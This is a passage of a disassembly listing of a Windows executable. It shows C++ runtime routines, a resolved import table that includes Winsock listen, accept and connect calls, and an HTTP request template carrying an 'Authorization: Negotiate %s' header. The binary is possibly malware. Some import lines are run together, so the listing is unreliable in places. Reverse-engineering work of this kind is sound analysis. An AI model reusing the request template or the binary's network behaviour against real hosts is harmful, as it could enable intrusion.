		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41E0C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E103	proc near		; DATA XREF: seg001:0041FC6Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41E13C
		lea	eax, [ebp+var_1C]
		push	offset dword_4200A0
		push	eax
		call	sub_41E299


loc_41E120:				; DATA XREF: seg001:off_41FC64o
		push	esi
		mov	esi, ecx
		call	sub_41E0C6
		test	[esp+20h+var_18], 1
		jz	short loc_41E136
		push	esi
		call	sub_41450F
		pop	ecx


loc_41E136:				; CODE XREF: sub_41E103+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41E103	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E13C	proc near		; CODE XREF: sub_41E103+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41DF81
		mov	dword ptr [esi], offset	off_41FC64
		mov	eax, esi
		pop	esi
		retn	4
sub_41E13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E154	proc near		; DATA XREF: seg002:00421008o

; FUNCTION CHUNK AT 0041E18A SIZE 0000000C BYTES

		test	ds:byte_45EAEC,	1
		jnz	short loc_41E164
		or	ds:byte_45EAEC,	1


loc_41E164:				; CODE XREF: sub_41E154+7j
		call	sub_41E17E
		test	ds:byte_45FE78,	1
		jnz	short loc_41E179
		or	ds:byte_45FE78,	1


loc_41E179:				; CODE XREF: sub_41E154+1Cj
		jmp	loc_41E18A
sub_41E154	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E17E	proc near		; CODE XREF: sub_41E154:loc_41E164p
		push	offset nullsub_1
		call	sub_4148D0
		pop	ecx
		retn
sub_41E17E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E154


loc_41E18A:				; CODE XREF: sub_41E154:loc_41E179j
		push	offset nullsub_1
		call	sub_4148D0
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_41E154

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E196	proc near		; CODE XREF: sub_402E17+5Ep
					; seg000:00403A0Ap
		jmp	ds:dword_41F1E4
sub_41E196	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E19C	proc near		; CODE XREF: sub_41415C+23p
					; sub_414400+13p
		jmp	ds:dword_41F148
sub_41E19C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1A2	proc near		; DATA XREF: seg001:off_41FC8Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_41E245
		test	[esp+4+arg_0], 1
		jz	short loc_41E1B8
		push	esi
		call	sub_41450F
		pop	ecx


loc_41E1B8:				; CODE XREF: sub_41E1A2+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41E1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1BE	proc near		; CODE XREF: sub_41DE9A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41FC8C
		push	dword ptr [edi]
		call	sub_413DB0
		inc	eax
		push	eax
		call	sub_414855
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41E1ED
		push	dword ptr [edi]
		push	eax
		call	sub_413CC0
		pop	ecx
		pop	ecx


loc_41E1ED:				; CODE XREF: sub_41E1BE+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41E1BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1FB	proc near		; CODE XREF: sub_41DF81+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41FC8C
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_41E238
		push	dword ptr [edi+4]
		call	sub_413DB0
		inc	eax
		push	eax
		call	sub_414855
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41E23E
		push	dword ptr [edi+4]
		push	eax
		call	sub_413CC0
		pop	ecx
		pop	ecx
		jmp	short loc_41E23E
; ---------------------------------------------------------------------------


loc_41E238:				; CODE XREF: sub_41E1FB+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_41E23E:				; CODE XREF: sub_41E1FB+2Ej
					; sub_41E1FB+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41E1FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E245	proc near		; CODE XREF: sub_41DF28+2Bp
					; sub_41DFDE+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41FC8C
		jz	short locret_41E25A
		push	dword ptr [ecx+4]
		call	sub_41450F
		pop	ecx

locret_41E25A:				; CODE XREF: sub_41E245+Aj
		retn
sub_41E245	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E25B	proc near		; DATA XREF: seg001:0041FC90o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_41E267
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_41E267:				; CODE XREF: sub_41E25B+5j
		retn
sub_41E25B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E268	proc near		; CODE XREF: seg000:0041E280p
		mov	dword ptr [ecx], offset	off_41FCAC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_41E27C
		push	ecx
		call	sub_413ED3
		pop	ecx

locret_41E27C:				; CODE XREF: sub_41E268+Bj
		retn
sub_41E268	endp

; ---------------------------------------------------------------------------


loc_41E27D:				; DATA XREF: seg001:off_41FCACo
		push	esi
		mov	esi, ecx
		call	sub_41E268
		test	byte ptr [esp+8], 1
		jz	short loc_41E293
		push	esi
		call	sub_41450F
		pop	ecx


loc_41E293:				; CODE XREF: seg000:0041E28Aj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E299	proc near		; CODE XREF: sub_41DE40+54p
					; sub_41DF0B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41FCB0
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:dword_41F178	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_41E299	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41E2D4	proc near		; DATA XREF: seg001:0041FE7Co

; FUNCTION CHUNK AT 004034BF SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_4034BF
sub_41E2D4	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_41E2F2
		mov	ecx, [ebp+8]
		jmp	loc_4034BF
; ---------------------------------------------------------------------------

locret_41E2F2:				; CODE XREF: seg000:0041E2E4j
		retn
; ---------------------------------------------------------------------------


loc_41E2F3:				; DATA XREF: sub_403053o
		mov	eax, offset dword_41FE50
		jmp	loc_4141AB
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_41E308:				; DATA XREF: seg001:0041FEACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_41E310:				; DATA XREF: sub_4031F5o
		mov	eax, offset dword_41FE80
		jmp	loc_4141AB
; ---------------------------------------------------------------------------
		align 4


loc_41E31C:				; DATA XREF: sub_4037A2o
		mov	eax, offset dword_41FEB0
		jmp	loc_4141AB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_41E330:				; DATA XREF: sub_41DE40o
		mov	eax, offset dword_41FF88
		jmp	loc_4141AB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_41E245
; ---------------------------------------------------------------------------


loc_41E344:				; DATA XREF: sub_41DE9Ao
		mov	eax, offset dword_41FFB0
		jmp	loc_4141AB
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_41E245
; ---------------------------------------------------------------------------


loc_41E358:				; DATA XREF: sub_41DF28o
		mov	eax, offset dword_41FFF8
		jmp	loc_4141AB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41E245
; ---------------------------------------------------------------------------


loc_41E36C:				; DATA XREF: sub_41DF81o
		mov	eax, offset dword_420020
		jmp	loc_4141AB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41E245
; ---------------------------------------------------------------------------


loc_41E380:				; DATA XREF: sub_41DFDEo
		mov	eax, offset dword_420048
		jmp	loc_4141AB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_41E394:				; DATA XREF: sub_41E06Co
		mov	eax, offset dword_4200B0
		jmp	loc_4141AB
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_41E245
; ---------------------------------------------------------------------------


loc_41E3A8:				; DATA XREF: sub_41E0C6o
		mov	eax, offset dword_4200D8
		jmp	loc_4141AB
; ---------------------------------------------------------------------------
		align 1000h
seg000		ends

; Section 2. (virtual address 0001F000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 0001F000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 41F000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_41F000	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess		dd 7C833478h
dword_41F008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_41D8D5+261r
dword_41F00C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_41D8D5+B9r
		dd 7C832044h, 7C80BCCFh, 7C809E01h
dword_41F01C	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_41BFE9+6r
		dd 7C812641h, 7C81DC03h
dword_41F028	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; seg000:0041B3B4r
		dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h
dword_41F03C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsW		dd 7C80C058h
dword_41F044	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; seg000:00401C13r ...
		dd 7C80A427h, 7C82FA46h, 7C814EEAh
dword_41F054	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_409615+Dr ...
dword_41F058	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_4032B0+19Cr ...
		dd 7C80B4CFh, 7C83632Dh, 7C8361EEh
dword_41F068	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_40571E:loc_405A86r ...
dword_41F06C	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_40571E+33Ar ...
dword_41F070	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_404EDA+B2r ...
		dd 7C810A77h
dword_41F078	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_404EDA+25r ...
dword_41F07C	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; seg000:0040ACBBr ...
		dd 7C80EDD7h, 7C80E7ECh, 7C80E866h
dword_41F08C	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_404858+5D7r ...
dword_41F090	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA					; seg000:00406D6Er
dword_41F094	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; seg000:00408C0Br ...
dword_41F098	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_409BA0+259r ...
dword_41F09C	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_41F0A0	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_41F0A4	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41F0A8	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_405E47+22Fr
dword_41F0AC	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_406E9A:loc_40738Ar ...
dword_41F0B0	dd 3E7574h						; sub_417F7F+15r ...
dword_41F0B4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 7C82F7A0h
dword_41F0BC	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_41F0C0	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLock		dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
		dd 7C802367h, 7C8329D9h, 7C812782h, 7C810D87h, 7C835DCAh
		dd 7C81AE17h, 7C85F90Fh, 7C80DDFEh
dword_41F0F8	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipedword_41F0FC	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; seg000:0041260Br
		dd 7C8310F2h
dword_41F104	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; seg000:0040AB97r ...
		dd 7C831EABh, 7C8309E1h, 7C809920h, 7C8286EEh, 7C802520h
		dd 7C80E93Fh, 7C81CE03h, 7C835E8Fh
dword_41F128	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; seg000:0041A00Er ...
dword_41F12C	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_415A89+54r ...
		dd 7C8216A4h, 7C801E16h
dword_41F138	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA		dd 7C830B14h
dword_41F140	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_41556F+AFr ...
dword_41F144	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_416BB8+2C4r ...
dword_41F148	dd 7C937A40h	; resolved to->NTDLL.RtlUnwind		dd 7C8350BFh, 7C80176Bh
dword_41F154	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_4171EC+28r
		dd 7C801EEEh, 7C812F1Dh
dword_41F160	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_41F164	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_41F168	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_41F16C	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_41F170	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_41729D+51r
		dd 7C809E79h
dword_41F178	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_41E299+2Er
dword_41F17C	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeap		dd 7C838DE8h
dword_41F184	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; seg000:00419F4Er ...
		dd 7C812E76h, 7C809915h, 7C8127A7h
dword_41F194	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilter		dd 7C81DF77h
dword_41F19C	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_41F1A0	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_41ABB0+E1r
		align 8
dword_41F1A8	dd 71AB2BF4h	; resolved to->WS2_32.inet_addrdword_41F1AC	dd 71AB406Ah	; resolved to->WS2_32.connectdword_41F1B0	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_403F31+8Er
dword_41F1B4	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_403EB4+15r
dword_41F1B8	dd 71AB3EA1h	; resolved to->WS2_32.setsockoptdword_41F1BC	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_41F1C0	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_403EB4+41r
dword_41F1C4	dd 71AB3E00h	; resolved to->WS2_32.binddword_41F1C8	dd 71AB88D3h	; resolved to->WS2_32.listendword_41F1CC	dd 71AC1028h	; resolved to->WS2_32.acceptdword_41F1D0	dd 71AB615Ah	; resolved to->WS2_32.recvdword_41F1D4	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_403EB4+68r ...
dword_41F1D8	dd 71AB3B91h	; resolved to->WS2_32.socket					; seg000:00403925r ...
dword_41F1DC	dd 71AB428Ah	; resolved to->WS2_32.send					; seg000:00403995r ...
dword_41F1E0	dd 71AB2DC0h	; resolved to->WS2_32.select					; seg000:004039C6r
dword_41F1E4	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSet		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4031F5+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_41F230	dq 1.388888888888889e-2	; DATA XREF: sub_403007+2Fr
dbl_41F238	dq 1.666666666666667e-1	; DATA XREF: sub_403007+15r
dword_41F240	dd 0FFFFFFFFh						; sub_4034C7r ...
		align 8
dbl_41F248	dq 1.333333333333333	; DATA XREF: sub_403053+79r
dword_41F250	dd 0							; sub_403577+5Bo ...
dword_41F254	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 0
dbl_41F658	dq 9.765625e-4		; DATA XREF: seg000:0040A43Ar
					; seg000:0040A455r ...
dbl_41F660	dq -3.0517578125e-5	; DATA XREF: sub_4123FC+1Er
dbl_41F668	dq 1.0			; DATA XREF: sub_413F02+6Cr
					; sub_41404B+6Cr ...
dword_41F670	dd 0FFFFFFFFh, 415C5Fh,	415C73hbyte_41F67C	db 6			; DATA XREF: sub_415DDC:loc_415E33r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: seg002:off_42D0ECo
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: seg002:off_42D0E8o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: seg002:off_42D314o
		align 8
dbl_41F7A8	dq 0.0			; DATA XREF: sub_417A2C+8Cr
					; sub_417A2C+ACr ...
dbl_41F7B0	dq 4.195835e6		; DATA XREF: sub_417F41+Fr
dbl_41F7B8	dq 3.145727e6		; DATA XREF: sub_417F41+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_417F7F+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_417F7Fo
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_4180A6+93o
		align 10h
dword_41F7F0	dd 0FFFFFFFFh, 418791h,	41879Bh, 0dword_41F800	dd 0FFFFFFFFh, 0		dd offset loc_418917
		align 10h
		dd offset sub_4188F5
		dd offset sub_4188FF
dword_41F818	dd 0FFFFFFFFh, 418B47h,	418B4Bh, 0dword_41F828	dd 0FFFFFFFFh, 418BA9h,	418BB2h, 0dword_41F838	dd 0FFFFFFFFh, 0		dd offset loc_418C7D
		align 8
		dd offset loc_418C69
		dd offset loc_418C6D
dword_41F850	dd 0FFFFFFFFh, 0		dd offset loc_418CD3
		align 10h
		dd offset loc_418CBF
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 8Ch,	41h, 0
dword_41F868	dd 2 dup(0)						; seg000:0041B2C0o ...
dword_41F870	dd 0FFFFFFFFh, 419F11h,	419F15h, 0FFFFFFFFh, 419FC5h, 419FC9h
					; DATA XREF: seg000:00419E06o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: seg002:off_42D75Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0
		align 4
		db 0Ah
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0
aProgramNameUnk	db '<program name unknown>',0
		align 8
dword_41FB78	dd 0FFFFFFFFh, 41B380h,	41B384haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41C1F2+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: seg000:0041C7BBo
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: seg000:0041C7B3o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: seg000:0041C7A2o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41D094:loc_41D189o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_41D094+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_41D094+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41D094+ADo
